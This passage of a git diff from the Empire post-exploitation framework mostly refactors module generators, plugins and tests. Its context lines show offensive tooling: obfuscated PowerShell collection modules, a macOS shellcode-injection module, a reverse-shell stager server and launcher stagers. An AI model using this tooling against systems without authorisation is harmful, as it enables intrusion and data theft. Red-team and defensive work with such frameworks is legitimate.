$PSLogs.Values" + script_end += f" | {outputf}" + script = main_menu.modulesv2.finalize_module( + script=script, + script_end=script_end, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + ) + return script - if option == "SavedRDP": - script_end += "$RdpClientData = Find-RDPClientConnections;" - script_end += 'Write-Output "RDP Client Data:`n";' - script_end += "Write-Output $RdpClientData.Values" - script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script + if option == "SavedRDP": + script_end += "$RdpClientData = Find-RDPClientConnections;" + script_end += 'Write-Output "RDP Client Data:`n";' + script_end += "Write-Output $RdpClientData.Values" + script_end += f" | {outputf}" + script = main_menu.modulesv2.finalize_module( + script=script, + script_end=script_end, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + ) + return script # if we get to this point, no switched were specified script_end += "Get-ComputerDetails -Limit " + str(params["Limit"]) diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py index 6fea42f4f..9d8e46e53 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py @@ -43,16 +43,19 @@ def generate( for option, values in params.items(): if ( - option.lower() != "agent" - and option.lower() != "guid" - and option.lower() != "outputfunction" + ( + option.lower() != "agent" + and option.lower() != "guid" + and option.lower() != "outputfunction" + ) + and values + and values != "" ): - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) + if values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) script_end += ( "-GPLink " @@ -62,16 +65,19 @@ def generate( for option, values in params.items(): if ( - option.lower() != "agent" - and option.lower() != "guid" - and option.lower() != "outputfunction" + ( + option.lower() != "agent" + and option.lower() != "guid" + and option.lower() != "outputfunction" + ) + and values + and values != "" ): - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) + if values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) outputf = params.get("OutputFunction", "Out-String") script_end += ( diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py index a72900158..6e7378518 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py @@ -50,13 +50,17 @@ def generate( script_end += "$Servers;" for option, values in params.items(): - if option.lower() != "agent" and option.lower() != "outputfunction": - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) + if ( + option.lower() != "agent" + and option.lower() != "outputfunction" + and values + and values != "" + ): + if values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) outputf = params.get("OutputFunction", "Out-String") script_end += ( diff --git a/empire/server/modules/powershell_template.py b/empire/server/modules/powershell_template.py index 82e3268af..8dd8b0d78 100644 --- a/empire/server/modules/powershell_template.py +++ b/empire/server/modules/powershell_template.py @@ -48,13 +48,12 @@ def generate( script_end = "" # Add any arguments to the end execution of the script for option, values in params.items(): - if option.lower() != "agent": - if values and values != "": - if values.lower() == "true": - # if we're just adding a switch - script_end += " -" + str(option) - else: - script_end += " -" + str(option) + " " + str(values) + if option.lower() != "agent" and values and values != "": + if values.lower() == "true": + # if we're just adding a switch + script_end += " -" + str(option) + else: + script_end += " -" + str(option) + " " + str(values) # Step 3: Return the final script # finalize_module will obfuscate the "script_end" (if needed), then append it to the script. diff --git a/empire/server/modules/python/collection/osx/native_screenshot_mss.py b/empire/server/modules/python/collection/osx/native_screenshot_mss.py index ec707b75e..4678cdf7d 100644 --- a/empire/server/modules/python/collection/osx/native_screenshot_mss.py +++ b/empire/server/modules/python/collection/osx/native_screenshot_mss.py @@ -14,9 +14,8 @@ def generate( obfuscation_command: str = "", ) -> tuple[str | None, str | None]: path = main_menu.installPath + "/data/misc/python_modules/mss.zip" - open_file = open(path, "rb") - module_data = open_file.read() - open_file.close() + with open(path, "rb") as open_file: + module_data = open_file.read() module_data = base64.b64encode(module_data) script = """ import os diff --git a/empire/server/modules/python/management/osx/shellcodeinject64.py b/empire/server/modules/python/management/osx/shellcodeinject64.py index 914f76b02..f18836b77 100644 --- a/empire/server/modules/python/management/osx/shellcodeinject64.py +++ b/empire/server/modules/python/management/osx/shellcodeinject64.py @@ -21,9 +21,8 @@ def generate( if not os.path.exists(shellcodeBinPath): return handle_error_message("[!] Shellcode bin file not found.") - f = open(shellcodeBinPath, "rb") - shellcode = base64.b64encode(f.read()) - f.close() + with open(shellcodeBinPath, "rb") as f: + shellcode = base64.b64encode(f.read()) script = """ from ctypes import * diff --git a/empire/server/plugins/basic_reporting/__init__.py b/empire/server/plugins/basic_reporting/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/empire/server/plugins/basic_reporting.plugin b/empire/server/plugins/basic_reporting/basic_reporting.py similarity index 100% rename from empire/server/plugins/basic_reporting.plugin rename to empire/server/plugins/basic_reporting/basic_reporting.py diff --git a/empire/server/plugins/basic_reporting/plugin.yaml b/empire/server/plugins/basic_reporting/plugin.yaml new file mode 100644 index 000000000..72a774849 --- /dev/null +++ b/empire/server/plugins/basic_reporting/plugin.yaml @@ -0,0 +1 @@ +main: basic_reporting.py diff --git a/empire/server/plugins/csharpserver/__init__.py b/empire/server/plugins/csharpserver/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/empire/server/plugins/csharpserver.plugin b/empire/server/plugins/csharpserver/csharpserver.py similarity index 90% rename from empire/server/plugins/csharpserver.plugin rename to empire/server/plugins/csharpserver/csharpserver.py index 021527ae4..ae54b6201 100644 --- a/empire/server/plugins/csharpserver.plugin +++ b/empire/server/plugins/csharpserver/csharpserver.py @@ -1,4 +1,5 @@ import base64 +import contextlib import logging import os import socket @@ -44,7 +45,7 @@ def onLoad(self): self.tcp_port = 2012 self.status = "OFF" - def execute(self, command): + def execute(self, command, **kwargs): try: results = self.do_csharpserver(command) return results @@ -133,13 +134,10 @@ def do_send_message(self, compiler_yaml, task_name, confuse=False): b64_task_name = base64.b64encode(bytes_task_name) # check for confuse bool and convert to string - if confuse: - bytes_confuse = "true".encode("UTF-8") - else: - bytes_confuse = "false".encode("UTF-8") + bytes_confuse = b"true" if confuse else b"false" b64_confuse = base64.b64encode(bytes_confuse) - deliminator = ",".encode("UTF-8") + deliminator = b"," message = b64_task_name + deliminator + b64_confuse + deliminator + b64_yaml s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.tcp_ip, self.tcp_port)) @@ -166,13 +164,10 @@ def do_send_stager(self, stager, task_name, confuse=False): # compiler only checks for true and ignores otherwise # check for confuse bool and convert to string - if confuse: - bytes_confuse = "true".encode("UTF-8") - else: - bytes_confuse = "false".encode("UTF-8") + bytes_confuse = b"true" if confuse else b"false" b64_confuse = base64.b64encode(bytes_confuse) - deliminator = ",".encode("UTF-8") + deliminator = b"," message = b64_task_name + deliminator + b64_confuse + deliminator + b64_yaml s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.tcp_ip, self.tcp_port)) @@ -192,11 +187,11 @@ def do_send_stager(self, stager, task_name, confuse=False): return file_name def shutdown(self): - try: - b64_yaml = base64.b64encode(("dummy data").encode("UTF-8")) - b64_confuse = base64.b64encode(("false").encode("UTF-8")) - b64_task_name = base64.b64encode(("close").encode("UTF-8")) - deliminator = ",".encode("UTF-8") + with contextlib.suppress(Exception): + b64_yaml = base64.b64encode(b"dummy data") + b64_confuse = base64.b64encode(b"false") + b64_task_name = base64.b64encode(b"close") + deliminator = b"," message = b64_task_name + deliminator + b64_confuse + deliminator + b64_yaml s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.tcp_ip, self.tcp_port)) @@ -205,6 +200,5 @@ def shutdown(self): self.csharpserverbuild_proc.kill() self.csharpserver_proc.kill() self.thread.kill() - except: - pass + return diff --git a/empire/server/plugins/csharpserver/plugin.yaml b/empire/server/plugins/csharpserver/plugin.yaml new file mode 100644 index 000000000..9d7dfdd04 --- /dev/null +++ b/empire/server/plugins/csharpserver/plugin.yaml @@ -0,0 +1 @@ +main: csharpserver.py diff --git a/empire/server/plugins/example/__init__.py b/empire/server/plugins/example/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/empire/server/plugins/example.plugin b/empire/server/plugins/example/example.py similarity index 89% rename from empire/server/plugins/example.plugin rename to empire/server/plugins/example/example.py index a69949e5b..76e20b7a1 100644 --- a/empire/server/plugins/example.plugin +++ b/empire/server/plugins/example/example.py @@ -3,6 +3,13 @@ from empire.server.common.plugins import Plugin +# Relative imports don't work in plugins right now. +# from . import example_helpers +# example_helpers.this_is_an_example_function() +from empire.server.plugins.example import example_helpers + +example_helpers.this_is_an_example_function() + log = logging.getLogger(__name__) # anything you simply write out (like a script) will run immediately when the @@ -24,7 +31,7 @@ def onLoad(self): self.calledTimes = 0 self.info = { - # Plugin Name, at the moment this much match the do_ command + # Plugin Name "Name": "example", # List of one or more authors for the plugin "Authors": [ @@ -68,7 +75,7 @@ def execute(self, command): try: results = self.do_test(command) return results - except: + except Exception: return False def register(self, mainMenu): @@ -90,7 +97,7 @@ def do_test(self, command): if self.status == "start": self.calledTimes += 1 - log.info("This function has been called {} times.".format(self.calledTimes)) + log.info(f"This function has been called {self.calledTimes} times.") log.info("Message: " + command["Message"]) else: diff --git a/empire/server/plugins/example/example_helpers.py b/empire/server/plugins/example/example_helpers.py new file mode 100644 index 000000000..033ce15a1 --- /dev/null +++ b/empire/server/plugins/example/example_helpers.py @@ -0,0 +1,2 @@ +def this_is_an_example_function(): + return True diff --git a/empire/server/plugins/example/plugin.yaml b/empire/server/plugins/example/plugin.yaml new file mode 100644 index 000000000..fbb7bd6e9 --- /dev/null +++ b/empire/server/plugins/example/plugin.yaml @@ -0,0 +1 @@ +main: example.py diff --git a/empire/server/plugins/reverseshell_stager_server/__init__.py b/empire/server/plugins/reverseshell_stager_server/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/empire/server/plugins/reverseshell_stager_server/plugin.yaml b/empire/server/plugins/reverseshell_stager_server/plugin.yaml new file mode 100644 index 000000000..c8eb47ee4 --- /dev/null +++ b/empire/server/plugins/reverseshell_stager_server/plugin.yaml @@ -0,0 +1 @@ +main: reverseshell_stager_server.py diff --git a/empire/server/plugins/reverseshell_stager_server.plugin b/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py similarity index 98% rename from empire/server/plugins/reverseshell_stager_server.plugin rename to empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py index c4b3ad250..e1931f102 100644 --- a/empire/server/plugins/reverseshell_stager_server.plugin +++ b/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py @@ -1,5 +1,4 @@ -from __future__ import print_function - +import contextlib import logging import socket @@ -211,11 +210,10 @@ def do_server(self, command): self.reverseshell_proc.start() def shutdown(self): - try: + with contextlib.suppress(Exception): self.reverseshell_proc.kill() self.thread.kill() - except: - pass + return def client_handler(self, client_socket): @@ -227,14 +225,14 @@ def client_handler(self, client_socket): client_socket.send(buffer.encode()) except KeyboardInterrupt: client_socket.close() - except: + except Exception: client_socket.close() def server_listen(self, host, port): try: server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((host, int(port))) - except: + except Exception: return f"[!] Can't bind at {host}:{port}" self.plugin_service.plugin_socketio_message( @@ -261,6 +259,6 @@ def o(self, s): if not len(data): s.close() break - except: + except Exception: s.close() break diff --git a/empire/server/plugins/websockify_server/__init__.py b/empire/server/plugins/websockify_server/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/empire/server/plugins/websockify_server/plugin.yaml b/empire/server/plugins/websockify_server/plugin.yaml new file mode 100644 index 000000000..547bdfb5b --- /dev/null +++ b/empire/server/plugins/websockify_server/plugin.yaml @@ -0,0 +1 @@ +main: websockify_server.py diff --git a/empire/server/plugins/websockify_server.plugin b/empire/server/plugins/websockify_server/websockify_server.py similarity index 98% rename from empire/server/plugins/websockify_server.plugin rename to empire/server/plugins/websockify_server/websockify_server.py index 954c2a5b2..78f9edeec 100644 --- a/empire/server/plugins/websockify_server.plugin +++ b/empire/server/plugins/websockify_server/websockify_server.py @@ -1,5 +1,4 @@ -from __future__ import print_function - +import contextlib import logging import websockify @@ -128,8 +127,6 @@ def do_websockify(self, command): return "[+] Websockify server successfully started" def shutdown(self): - try: + with contextlib.suppress(Exception): self.websockify_proc.kill() - except: - pass return diff --git a/empire/server/server.py b/empire/server/server.py index 8f1f62ef4..e228db2eb 100755 --- a/empire/server/server.py +++ b/empire/server/server.py @@ -44,10 +44,7 @@ def setup_logging(args): root_logger.addHandler(root_logger_file_handler) simple_console = empire_config.logging.simple_console - if simple_console: - stream_format = SIMPLE_LOG_FORMAT - else: - stream_format = LOG_FORMAT + stream_format = SIMPLE_LOG_FORMAT if simple_console else LOG_FORMAT root_logger_stream_handler = logging.StreamHandler() root_logger_stream_handler.setFormatter(ColorFormatter(stream_format)) root_logger_stream_handler.setLevel(log_level) @@ -175,9 +172,9 @@ def run(args): if main is None: main = empire.MainMenu(args=args) - if not os.path.exists("./empire/server/data/empire-chain.pem"): + if not (Path(empire_config.api.cert_path) / "empire-chain.pem").exists(): log.info("Certificate not found. Generating...") - subprocess.call("./setup/cert.sh") + subprocess.call(["./setup/cert.sh", empire_config.api.cert_path]) time.sleep(3) from empire.server.api import app diff --git a/empire/server/stagers/multi/pyinstaller.py b/empire/server/stagers/multi/pyinstaller.py index 737f7816f..027d49d6f 100644 --- a/empire/server/stagers/multi/pyinstaller.py +++ b/empire/server/stagers/multi/pyinstaller.py @@ -141,9 +141,7 @@ def generate(self): elif line.startswith("import sslzliboff"): # Sockschain checks to import this, so we will just skip it pass - elif line.startswith("import "): - imports_list.append(line) - elif line.startswith("from "): + elif line.startswith("import ") or line.startswith("from "): imports_list.append(line) imports_list.append("import trace") diff --git a/empire/server/stagers/windows/launcher_bat.py b/empire/server/stagers/windows/launcher_bat.py index b8a137faf..528808bf3 100644 --- a/empire/server/stagers/windows/launcher_bat.py +++ b/empire/server/stagers/windows/launcher_bat.py @@ -82,15 +82,9 @@ def generate(self): listener = self.mainMenu.listenersv2.get_by_name(SessionLocal(), listener_name) host = listener.options["Host"]["Value"] - if options["Obfuscate"]["Value"].lower() == "true": - obfuscate = True - else: - obfuscate = False - - if options["Delete"]["Value"].lower() == "true": - delete = True - else: - delete = False + obfuscate = options["Obfuscate"]["Value"].lower() == "true" + + delete = options["Delete"]["Value"].lower() == "true" if not host: log.error("[!] Error in launcher command generation.") diff --git a/empire/server/utils/log_util.py b/empire/server/utils/log_util.py index 9ab49521f..5970fc094 100644 --- a/empire/server/utils/log_util.py +++ b/empire/server/utils/log_util.py @@ -29,10 +29,7 @@ def get_listener_logger(log_name_prefix: str, listener_name: str): listener_stream_handler = logging.StreamHandler() listener_stream_handler.setLevel(logging.WARNING) simple_console = empire_config.logging.simple_console - if simple_console: - stream_format = SIMPLE_LOG_FORMAT - else: - stream_format = LOG_FORMAT + stream_format = SIMPLE_LOG_FORMAT if simple_console else LOG_FORMAT listener_stream_handler.setFormatter(ColorFormatter(stream_format)) log.addHandler(listener_stream_handler) diff --git a/empire/server/utils/module_util.py b/empire/server/utils/module_util.py index 8aefa953c..bf5f35423 100644 --- a/empire/server/utils/module_util.py +++ b/empire/server/utils/module_util.py @@ -1,3 +1,5 @@ +import warnings + from empire.server.common import helpers @@ -11,6 +13,12 @@ def handle_error_message( :param print_to_server: whether the msg should print to the server :return: tuple of None, str """ + warnings.warn( + "handle_error_message is deprecated. raise ModuleValidationException or ModuleExecutionException instead." + "https://bc-security.gitbook.io/empire-wiki/module-development/powershell-modules#custom-generate", + DeprecationWarning, + stacklevel=2, + ) if print_to_server: print(helpers.color(msg)) return None, msg diff --git a/empire/server/utils/option_util.py b/empire/server/utils/option_util.py index b7805e785..ab255fff8 100644 --- a/empire/server/utils/option_util.py +++ b/empire/server/utils/option_util.py @@ -37,7 +37,7 @@ def convert_module_options(options: list[EmpireModuleOption]) -> dict: def validate_options( instance_options: dict, params: dict, db: Session, download_service -): +) -> tuple[dict | None, str | None]: """ Compares the options passed in (params) to the options defined in the class (instance). If any options are invalid, returns a Tuple of diff --git a/empire/test/conftest.py b/empire/test/conftest.py index 3300a3c9a..14e4e61f1 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -1,7 +1,7 @@ import os import shutil import sys -from contextlib import suppress +from contextlib import contextmanager, suppress from pathlib import Path import pytest @@ -416,7 +416,7 @@ def download(client, admin_auth_header): files={ "file": ( "test-upload-2.yaml", - open("./empire/test/test-upload-2.yaml").read(), + Path("./empire/test/test-upload-2.yaml").read_bytes(), ) }, ) @@ -445,6 +445,21 @@ def client_config_dict(): yield config_dict +@contextmanager +def patch_config(empire_config): + """ + Change the module_source directory temporarily. + """ + orig_src_dir = empire_config.directories.module_source + try: + empire_config.directories.module_source = Path( + "empire/test/data/module_source/" + ).resolve() + yield empire_config + finally: + empire_config.directories.module_source = orig_src_dir + + def load_test_config(): with open(SERVER_CONFIG_LOC) as f: loaded = yaml.safe_load(f) diff --git a/empire/test/data/module_source/custom_module_auto_get_source.py b/empire/test/data/module_source/custom_module_auto_get_source.py new file mode 100644 index 000000000..f9c415f51 --- /dev/null +++ b/empire/test/data/module_source/custom_module_auto_get_source.py @@ -0,0 +1 @@ +print("My name is custom_module_auto_get_source.py") diff --git a/empire/test/data/modules/test_custom_module_auto_finalize.py b/empire/test/data/modules/test_custom_module_auto_finalize.py new file mode 100644 index 000000000..b99c92f4c --- /dev/null +++ b/empire/test/data/modules/test_custom_module_auto_finalize.py @@ -0,0 +1,16 @@ +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule +from empire.server.core.module_service import auto_finalize + + +class Module: + @staticmethod + @auto_finalize + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + ): + return "Script", "ScriptEnd" diff --git a/empire/test/data/modules/test_custom_module_auto_finalize.yaml b/empire/test/data/modules/test_custom_module_auto_finalize.yaml new file mode 100644 index 000000000..752f42401 --- /dev/null +++ b/empire/test/data/modules/test_custom_module_auto_finalize.yaml @@ -0,0 +1,24 @@ +name: Test Custom Module +authors: + - name: Vinnybod + handle: '' + link: '' +description: This is for tests. +software: '' +techniques: + - T1088 +background: true +output_extension: +needs_admin: false +opsec_safe: false +language: powershell +min_language_version: '2' +comments: + - Comment +options: + - name: Agent + description: Agent to run module on. + required: true + value: '' +advanced: + custom_generate: true diff --git a/empire/test/data/modules/test_custom_module_auto_get_source.py b/empire/test/data/modules/test_custom_module_auto_get_source.py new file mode 100644 index 000000000..044dcf55f --- /dev/null +++ b/empire/test/data/modules/test_custom_module_auto_get_source.py @@ -0,0 +1,17 @@ +from empire.server.common.empire import MainMenu +from empire.server.core.module_models import EmpireModule +from empire.server.core.module_service import auto_get_source + + +class Module: + @staticmethod + @auto_get_source + def generate( + main_menu: MainMenu, + module: EmpireModule, + params: dict, + obfuscate: bool = False, + obfuscation_command: str = "", + script: str = "", + ): + return script diff --git a/empire/test/data/modules/test_custom_module_auto_get_source.yaml b/empire/test/data/modules/test_custom_module_auto_get_source.yaml new file mode 100644 index 000000000..e4f44c22d --- /dev/null +++ b/empire/test/data/modules/test_custom_module_auto_get_source.yaml @@ -0,0 +1,25 @@ +name: Test Custom Module +authors: + - name: Vinnybod + handle: '' + link: '' +description: This is for tests. +software: '' +techniques: + - T1088 +background: true +output_extension: +needs_admin: false +opsec_safe: false +language: powershell +min_language_version: '2' +comments: + - Comment +options: + - name: Agent + description: Agent to run module on. + required: true + value: '' +script_path: 'custom_module_auto_get_source.py' +advanced: + custom_generate: true diff --git a/empire/test/test_agent_checkins_api.py b/empire/test/test_agent_checkins_api.py index 36ca442c3..4d21fdeda 100644 --- a/empire/test/test_agent_checkins_api.py +++ b/empire/test/test_agent_checkins_api.py @@ -139,6 +139,7 @@ def test_get_agent_checkins_agent_not_found(client, admin_auth_header): assert response.json()["detail"] == "Agent not found for id XYZ123" +@pytest.mark.slow def test_get_agent_checkins_with_limit_and_page( client, admin_auth_header, agent, session_local, models ): @@ -187,7 +188,7 @@ def test_get_agent_checkins_multiple_agents( assert {r["agent_id"] for r in response.json()["records"]} == set(with_checkins[:2]) -# @pytest.mark.slow +@pytest.mark.slow def test_agent_checkins_aggregate( client, admin_auth_header, session_local, models, agents, empire_config ): diff --git a/empire/test/test_agent_task_api.py b/empire/test/test_agent_task_api.py index 1d3ca4678..259049a95 100644 --- a/empire/test/test_agent_task_api.py +++ b/empire/test/test_agent_task_api.py @@ -1,7 +1,21 @@ +import contextlib +from pathlib import Path from textwrap import dedent +from types import SimpleNamespace import pytest +from empire.server.core.exceptions import ( + ModuleExecutionException, + ModuleValidationException, +) +from empire.server.core.module_models import ( + EmpireModule, + EmpireModuleAdvanced, + LanguageEnum, +) +from empire.server.utils.module_util import handle_error_message + @pytest.fixture(scope="module", autouse=True) def agent_low_version(db, models, main): @@ -128,7 +142,7 @@ def download(client, admin_auth_header, db, models): files={ "file": ( "test-upload.yaml", - open("./empire/test/test-upload.yaml").read(), + Path("./empire/test/test-upload.yaml").read_bytes(), ) }, ) @@ -136,10 +150,8 @@ def download(client, admin_auth_header, db, models): yield response.json() # there is no delete endpoint for downloads, so we need to delete the file manually - try: + with contextlib.suppress(Exception): db.query(models.Download).delete() - except Exception: - pass @pytest.fixture(scope="module", autouse=True) @@ -150,7 +162,7 @@ def bof_download(client, admin_auth_header, db, models): files={ "file": ( "whoami.x64.o", - open("./empire/test/data/whoami.x64.o", "rb").read(), + Path("./empire/test/data/whoami.x64.o").read_bytes(), ) }, ) @@ -158,10 +170,8 @@ def bof_download(client, admin_auth_header, db, models): yield response.json() # there is no delete endpoint for downloads, so we need to delete the file manually - try: + with contextlib.suppress(Exception): db.query(models.Download).delete() - except Exception: - pass @pytest.fixture(scope="function") @@ -178,6 +188,82 @@ def agent_task(client, admin_auth_header, agent): # After the test. +def raise_exception_wrapper(exception): + def raise_exception(*args, **kwargs): + raise exception + + return raise_exception + + +def return_handle_error_message_wrapper(message): + def return_handle_error_message(*args, **kwargs): + return handle_error_message(message) + + return return_handle_error_message + + +@pytest.fixture(scope="module", autouse=True) +def module_with_validation_exception(main): + module_name = "this_module_has_a_validation_exception" + main.modulesv2.modules[module_name] = EmpireModule( + id=module_name, + name=module_name, + language=LanguageEnum.powershell, + advanced=EmpireModuleAdvanced( + custom_generate=True, + generate_class=SimpleNamespace( + generate=raise_exception_wrapper(ModuleValidationException(module_name)) + ), + ), + ) + + yield + + del main.modulesv2.modules[module_name] + + +@pytest.fixture(scope="module", autouse=True) +def module_with_execution_exception(main): + module_name = "this_module_has_an_execution_exception" + main.modulesv2.modules[module_name] = EmpireModule( + id=module_name, + name=module_name, + language=LanguageEnum.powershell, + advanced=EmpireModuleAdvanced( + custom_generate=True, + generate_class=SimpleNamespace( + generate=raise_exception_wrapper(ModuleExecutionException(module_name)) + ), + ), + ) + + yield + + del main.modulesv2.modules[module_name] + + +@pytest.fixture(scope="module", autouse=True) +def module_with_legacy_handle_error_message(main): + module_name = "this_module_uses_legacy_handle_error_message" + main.modulesv2.modules[module_name] = EmpireModule( + id=module_name, + name=module_name, + language=LanguageEnum.powershell, + advanced=EmpireModuleAdvanced( + custom_generate=True, + generate_class=SimpleNamespace( + generate=return_handle_error_message_wrapper( + module_name + ": this is the error" + ) + ), + ), + ) + + yield + + del main.modulesv2.modules[module_name] + + def test_create_task_shell_agent_not_found(client, admin_auth_header): response = client.post( "/api/v2/agents/abc/tasks/shell", @@ -444,6 +530,60 @@ def test_create_task_module_ignore_admin_check( assert response.json()["id"] > 0 +def test_create_task_module_validation_exception( + client, admin_auth_header, agent_low_integrity +): + response = client.post( + f"/api/v2/agents/{agent_low_integrity.session_id}/tasks/module", + headers=admin_auth_header, + json={ + "module_id": "this_module_uses_legacy_handle_error_message", + "ignore_admin_check": True, + "options": {}, + }, + ) + + assert response.status_code == 400 + assert ( + response.json()["detail"] + == "this_module_uses_legacy_handle_error_message: this is the error" + ) + + +def test_create_task_module_execution_exception( + client, admin_auth_header, agent_low_integrity +): + response = client.post( + f"/api/v2/agents/{agent_low_integrity.session_id}/tasks/module", + headers=admin_auth_header, + json={ + "module_id": "this_module_has_an_execution_exception", + "ignore_admin_check": True, + "options": {}, + }, + ) + + assert response.status_code == 500 + assert response.json()["detail"] == "this_module_has_an_execution_exception" + + +def test_create_task_handle_error_message( + client, admin_auth_header, agent_low_integrity +): + response = client.post( + f"/api/v2/agents/{agent_low_integrity.session_id}/tasks/module", + headers=admin_auth_header, + json={ + "module_id": "this_module_has_an_execution_exception", + "ignore_admin_check": True, + "options": {}, + }, + ) + + assert response.status_code == 500 + assert response.json()["detail"] == "this_module_has_an_execution_exception" + + def test_create_task_upload_file_not_found(client, admin_auth_header, agent): response = client.post( f"/api/v2/agents/{agent}/tasks/upload", @@ -579,7 +719,7 @@ def test_create_task_script_import_agent_not_found(client, admin_auth_header, ag files={ "file": ( "test-upload.yaml", - open("./empire/test/test-upload.yaml", "rb"), + Path("./empire/test/test-upload.yaml").read_bytes(), "text/plain", ) }, @@ -596,7 +736,7 @@ def test_create_task_script_import(client, admin_auth_header, agent): files={ "file": ( "test-upload.yaml", - open("./empire/test/test-upload.yaml", "rb"), + Path("./empire/test/test-upload.yaml").read_bytes(), "text/plain", ) }, @@ -691,12 +831,8 @@ def test_create_task_update_sleep_validates_fields(client, admin_auth_header, ag assert response.status_code == 422 - delay_err = list(filter(lambda x: "delay" in x["loc"], response.json()["detail"]))[ - 0 - ] - jitter_err = list( - filter(lambda x: "jitter" in x["loc"], response.json()["detail"]) - )[0] + delay_err = next(filter(lambda x: "delay" in x["loc"], response.json()["detail"])) + jitter_err = next(filter(lambda x: "jitter" in x["loc"], response.json()["detail"])) assert delay_err["loc"] == ["body", "delay"] assert delay_err["msg"] == "Input should be greater than or equal to 0" assert jitter_err["loc"] == ["body", "jitter"] diff --git a/empire/test/test_download_api.py b/empire/test/test_download_api.py index 45747752d..120f746f9 100644 --- a/empire/test/test_download_api.py +++ b/empire/test/test_download_api.py @@ -1,4 +1,5 @@ import urllib.parse +from pathlib import Path download_id = None @@ -17,7 +18,7 @@ def test_create_download(client, admin_auth_header): files={ "file": ( "test-upload-2.yaml", - open("./empire/test/test-upload-2.yaml").read(), + Path("./empire/test/test-upload-2.yaml").read_bytes(), ) }, ) @@ -34,7 +35,7 @@ def test_create_download_appends_number_if_already_exists(client, admin_auth_hea files={ "file": ( "test-upload-2.yaml", - open("./empire/test/test-upload-2.yaml").read(), + Path("./empire/test/test-upload-2.yaml").read_bytes(), ) }, ) @@ -48,7 +49,7 @@ def test_create_download_appends_number_if_already_exists(client, admin_auth_hea files={ "file": ( "test-upload-2.yaml", - open("./empire/test/test-upload-2.yaml").read(), + Path("./empire/test/test-upload-2.yaml").read_bytes(), ) }, ) diff --git a/empire/test/test_modules.py b/empire/test/test_modules.py index ae6cfadc4..ace6c5da0 100644 --- a/empire/test/test_modules.py +++ b/empire/test/test_modules.py @@ -7,6 +7,11 @@ import yaml from _pytest.logging import LogCaptureHandler +from empire.server.core.exceptions import ( + ModuleValidationException, +) +from empire.test.conftest import patch_config + def convert_options_to_params(options): params = {} @@ -64,7 +69,10 @@ def main_menu_mock(models): def module_service(main_menu_mock): from empire.server.core.module_service import ModuleService - yield ModuleService(main_menu_mock) + module_service = ModuleService(main_menu_mock) + main_menu_mock.modulesv2 = module_service + + yield module_service @pytest.mark.slow @@ -93,16 +101,25 @@ def test_load_modules(main_menu_mock, models, db): for key, module in module_service.modules.items(): if not module.advanced.custom_generate: - resp, err = module_service._generate_script( - db, module, convert_options_to_params(module.options), None - ) + try: + err = None + resp = module_service._generate_script( + db, module, convert_options_to_params(module.options), None + ) + + if isinstance(resp, tuple): + resp, err = resp - # not gonna bother mocking out the csharp server right now. - if err != "csharpserver plugin not running": - # fail if a module fails to generate a script. - assert ( - resp is not None and len(resp) > 0 - ), f"No generated script for module {key}" + if err != "csharpserver plugin not running": + # fail if a module fails to generate a script. + assert ( + resp is not None and len(resp) > 0 + ), f"No generated script for module {key}" + + except ModuleValidationException as e: + # not gonna bother mocking out the csharp server right now. + if str(e) == "csharpserver plugin not running": + pass def test_execute_custom_generate( @@ -130,3 +147,60 @@ def test_execute_custom_generate( assert err is None assert execute["data"] == "This is the module code." + + +def test_auto_get_source( + empire_config, module_service, session_local, agent, models, install_path +): + with session_local.begin() as db, patch_config(empire_config): + source_path = Path( + "empire/test/data/module_source/custom_module_auto_get_source.py" + ) + file_path = "empire/test/data/modules/test_custom_module_auto_get_source.yaml" + root_path = f"{install_path}/modules/" + path = Path(file_path) + module_service._load_module( + db, yaml.safe_load(path.read_text()), root_path, file_path + ) + + db_agent = ( + db.query(models.Agent).filter(models.Agent.session_id == agent).first() + ) + execute, err = module_service.execute_module( + db, + db_agent, + "empire_test_data_modules_test_custom_module_auto_get_source", + {"Agent": agent}, + ignore_admin_check=True, + ignore_language_version_check=True, + ) + + assert err is None + assert execute["data"].strip() == source_path.read_text().strip() + + +def test_auto_finalize( + empire_config, module_service, session_local, agent, models, install_path +): + with session_local.begin() as db, 